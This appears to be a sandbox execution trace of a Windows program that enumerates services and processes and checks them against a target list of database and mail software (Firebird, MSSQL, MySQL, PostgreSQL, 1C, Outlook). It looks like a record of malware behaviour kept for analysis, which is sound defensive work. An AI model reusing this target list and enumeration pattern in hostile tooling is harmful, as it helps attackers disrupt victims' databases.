[0168.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.848] lstrlenW (lpString="RpcSs") returned 5 [0168.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.849] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.849] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.849] lstrlenW (lpString="SamSs") returned 5 [0168.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.849] lstrlenW (lpString="Schedule") returned 8 [0168.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.849] lstrlenW (lpString="SENS") returned 4 [0168.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.849] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.849] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.849] lstrlenW (lpString="Spooler") returned 7 [0168.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.850] lstrlenW (lpString="SysMain") returned 7 [0168.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.850] lstrlenW (lpString="Themes") returned 6 [0168.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.850] lstrlenW (lpString="TrkWks") returned 6 [0168.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.850] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.850] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.850] lstrlenW (lpString="UxSms") returned 5 [0168.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.850] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.850] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.850] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.851] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.851] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.851] lstrlenW (lpString="Winmgmt") returned 7 [0168.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.851] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0168.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0168.854] Process32FirstW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.854] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.854] lstrlenW (lpString="System") returned 6 [0168.854] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.854] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.855] lstrlenW (lpString="smss.exe") returned 8 [0168.855] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.855] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.855] lstrlenW (lpString="csrss.exe") returned 9 [0168.855] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.855] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.855] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.856] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.856] lstrlenW (lpString="wininit.exe") returned 11 [0168.856] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.856] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.856] lstrlenW (lpString="csrss.exe") returned 9 [0168.857] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.857] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.857] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.857] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.858] lstrlenW (lpString="winlogon.exe") returned 12 [0168.858] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.858] lstrlenW (lpString="services.exe") returned 12 [0168.858] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.858] lstrlenW (lpString="lsass.exe") returned 9 [0168.858] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.859] lstrlenW (lpString="lsm.exe") returned 7 [0168.859] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.859] lstrlenW (lpString="svchost.exe") returned 11 [0168.859] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.859] lstrlenW (lpString="svchost.exe") returned 11 [0168.860] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.860] lstrlenW (lpString="svchost.exe") returned 11 [0168.860] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.860] lstrlenW (lpString="svchost.exe") returned 11 [0168.860] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.861] lstrlenW (lpString="svchost.exe") returned 11 [0168.861] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.861] lstrlenW (lpString="audiodg.exe") returned 11 [0168.861] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.861] lstrlenW (lpString="svchost.exe") returned 11 [0168.861] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.862] lstrlenW (lpString="svchost.exe") returned 11 [0168.862] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.862] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.862] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.862] lstrlenW (lpString="taskhost.exe") returned 12 [0168.862] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.863] lstrlenW (lpString="svchost.exe") returned 11 [0168.863] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.863] lstrlenW (lpString="dwm.exe") returned 7 [0168.863] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.863] lstrlenW (lpString="explorer.exe") returned 12 [0168.863] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0168.864] lstrlenW (lpString="3G6885.exe") returned 10 [0168.864] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.864] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.864] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.865] lstrlenW (lpString="taskhost.exe") returned 12 [0168.865] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0168.865] lstrlenW (lpString="consent.exe") returned 11 [0168.865] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.866] lstrlenW (lpString="dllhost.exe") returned 11 [0168.866] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.866] lstrlenW (lpString="dllhost.exe") returned 11 [0168.866] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0168.866] lstrlenW (lpString="rundll32.exe") returned 12 [0168.866] Process32NextW (in: hSnapshot=0x370, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0168.867] CloseHandle (hObject=0x370) returned 1 [0168.867] Sleep (dwMilliseconds=0x1f4) [0169.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0169.411] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0169.411] GetLastError () returned 0xea [0169.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0169.412] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0169.412] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0169.412] lstrlenW (lpString="Appinfo") returned 7 [0169.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.413] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.413] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.413] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.413] lstrlenW (lpString="AudioSrv") returned 8 [0169.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0169.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0169.413] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0169.413] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0169.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0169.413] lstrlenW (lpString="BFE") returned 3 [0169.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.413] lstrlenW (lpString="CryptSvc") returned 8 [0169.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.414] lstrlenW (lpString="CscService") returned 10 [0169.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0169.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0169.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0169.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0169.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0169.414] lstrlenW (lpString="DcomLaunch") returned 10 [0169.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.414] lstrlenW (lpString="Dhcp") returned 4 [0169.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.414] lstrlenW (lpString="Dnscache") 